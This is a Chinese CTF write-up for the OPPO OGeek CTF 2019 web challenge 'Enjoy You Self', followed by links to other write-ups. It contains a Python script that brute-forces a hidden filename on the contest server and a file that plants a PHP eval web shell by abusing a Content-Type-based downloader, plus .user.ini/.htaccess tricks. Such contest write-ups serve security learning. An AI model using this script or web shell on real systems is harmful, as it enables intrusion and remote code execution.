前言

最近ctf不少,但是成绩不咋样,菜的真实。新学期开始了,最后一年了。。。继续努力吧。OPPO OGeek CTF 2019咋说呢,菜。。。总结一下学到的东西吧。

Enjoy You Self

线上环境:http://47.107.255.20:18088/(还没关。。。)

打开题目:
nZPY1P.png

认真读代码发现:这里检查filename是不是八位和filename是不是由大小写字母或者数字或者下划线组成。如果是,就在backup下创建这个名字的txt文件,然后列出backup文件夹下的文件,删除列出来的第一个文件。这里有个tip如果目录下面有其他文件的话,我们的文件写入时,如果列入那个文件后面的话,我们的文件就不会删除。即我们的文件可以访问。就此那就可以推测出那个文件的文件名了。

在本地研究发现,文件名的排序方式是ascii码值从小到大依次排列。所以我们尝试传入zzzzzzzz,然后迅速访问backup/zzzzzzzz.txt.发现可以访问到,就此我们可以推出backup原来的文件名。
exp:

#coding=utf-8
import requests
import string

# print string.letters
str1='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz' #\w能匹配到的字符
def strcheck(str):
    if len(str)<8:
        length=8-len(str)
        for x in xrange(0,length):
            str+='z'
        return str
    elif len(str)==8:
        return str
    else:
        return str[0:8]

def check(filename):
    requests.get("http://47.107.255.20:18088/users/4a6f8f0074645dde99b816b08e2a15c8/",params={"filename": filename}).text
    r = requests.get("http://47.107.255.20:18088/users/4a6f8f0074645dde99b816b08e2a15c8/backup/" + filename + ".txt")
    print(r.status_code)
    print filename
    if r.status_code == 404:
        filename=''
        return 0
    if r.status_code != 404:
        return filename

str2=list(str1)
# print str2
s=''
for i in xrange(1,9):
    for x in str2:
        filename=strcheck(s+x)
        if check(filename):
            print filename
            s=filename[0:i]
            break

print s

得到文件名:aefebab8.txt
nZVNXq.png

访问backup/aefebab8.txt得到:

<!-- src/8a66c58a168c9dc0fb622365cbe340fc.php -->

<?php
include "../utils/utils.php";

$sandbox = Get_Sandbox();

if(isset($_REQUEST['method'])){
    $method = $_REQUEST['method'];

    if($method == 'info'){
        phpinfo();
    }elseif($method == 'download' and isset($_REQUEST['url'])){
        $url = $_REQUEST['url'];
        $url_parse = parse_url($url);

        if(!isset($url_parse['scheme']) or $url_parse['scheme'] != 'http' or !isset($url_parse['host']) or $url_parse['host'] == ""){
            die("something wrong");
        }

        $path_info = pathinfo($url);

        if(strpos($path_info['filename'], ".") !== false){
            die("something wrong");
        }

        if(!Check_Ext($path_info['extension'])){
            die("something wrong");
        }

        $response = GetFileInfoFromHeader($url);

        $save_dir = "../users/${sandbox}/uploads/{$response['type']}/";

        if(is_dir(dirname($save_dir)) and !is_dir($save_dir)){
            mkdir($save_dir, 0755);
        }

        $save_path = "{$save_dir}{$path_info['filename']}.{$response['ext']}";
        echo "/uploads/{$response['type']}/{$path_info['filename']}.{$response['ext']}";

        if(!is_dir($save_path)){
            file_put_contents($save_path, $response['content']);
        }
    }
}

阅读代码,发现是一个下载器,把访问到的页面写入

/users/${sandbox}/uploads/{$`response['type']}/

下。
猜测该函数通过header。来获取文件类型,尝试用content-type 绕过,并且配置本地的httpd.conf ,将本地png解析为php,重写php,最后让题目去download本地的png图片
创建alex.png

<?php
  header('Content-Type: alex/txt');
  echo '<?php eval($_POST[alex]);';

尝试在题目上下载shell。
我先试试php发现被替换成jpg,所以改用txt
nZRWEd.png
nZRu7j.png
上传成功
访问查看
nZWe8x.png
发现写入成功。。。
之后就是用 .user.ini 来追加代码,然而我怎么复现都不行,试了.htaccess.user.ini,然而都不行。。。感觉题被改了。
所以这里只能盗图了。
nuiTG4.png
上传成功
nuiOqx.png
之后就是getflag了。。。师傅们说这里动作要快,要不然会被清理。要用脚本来搞。。。(咱也没见过,咱也不知道啊。)

总结

这个题考查了,文件的模糊测试的思路,可以根据文件排序来确定文件名,和.htaccess.user.ini的设置。。。

参考文章:
OPPO OGeek CTF 2019 部分题目 WriteUp
Ogeek-ctf-wp

  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。 DAY1简单的招聘系统知识点:sql注入的联合注入或盲注存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup
  • 2019安洵杯+2019广外比赛web部分题解

    2019安洵杯easy_web知识点:MD5强碰撞,命令执行这个题比较简单,看题目发现传入参数img和cmd,然而图片是传入的img参数控制,让我想到ddctf的一道题,然后发现img是通过把文件名进行转十六进制后两次base64编码...

    2019安洵杯+2019广外比赛web部分题解
  • 2019极客大挑战RCE ME

    题目环境:http://114.116.44.23:40001/ 题目还是老样子。无字母数字rce。知识点其实都有写过,就不说了。详细参见:【RCE提高篇】题目源码: <?php ini_set("display_errors"...

    2019极客大挑战RCE ME
  • buuctf刷题记录(序)

    love math知识点:代码审计,绕waf直接给出源码: <?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ sho...

    buuctf刷题记录(序)
  • buuctf刷题记录

    前言最近感觉自己菜出来新境界。。。刷点题来证明我还存在。。。言归正传。开刷 hack world知识点:sql布尔盲注,bypass进入题目,发现这是典型的sql布尔盲注,题目给出了表名和列名都是flag,用burp进行fuzz测试发...

    buuctf刷题记录
  • 2018n1ctf-esay-php复现

    前言最近做题,两次遇见这个题。第一次看着writeup都没复现成功。emm(菜的真实。。。)。这次自己搭的环境用三种方法来复现这个题。 环境搭建官方给了环境,有dockerfile。所以比较容易搭建的。官方文件在docker上安装上d...

    2018n1ctf-esay-php复现
  • 刷题记录

    一步步慢慢绕题目: <?php show_source(__FILE__); $v1=0;$v2=0;$v3=0; $a=(array)json_decode(@$_GET['foo']); if(is_array($a)){ ...

    刷题记录
  • sql注入新姿势-2019强网杯

    前言woc前一段时间,写过一次,发现被我搞丢了,气死…重写ing 随便注首先,对题目进行测试尝试一下1'发现会得到报错,尝试一下万能密码1' or '1'='1,发现能够把当前表所有的值全部输出...

    sql注入新姿势-2019强网杯
  • ciscn线下部分题解

    前言ciscn华中赛区线下赛让我认识到自己是真的菜。。。总结一下这次比赛吧。 web1 <?php // ini_set("display_errors", "On"); // error_reporting(E_ALL | ...

    ciscn线下部分题解
  • 2019ddctfwriteup

    web滴~这是i春秋上的一个原题。(原题比这个好)进入页面发现观察jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09像是个base64编码。进行解码。解码两次得到666C61672E6A7067。像是个base1...

    2019ddctfwriteup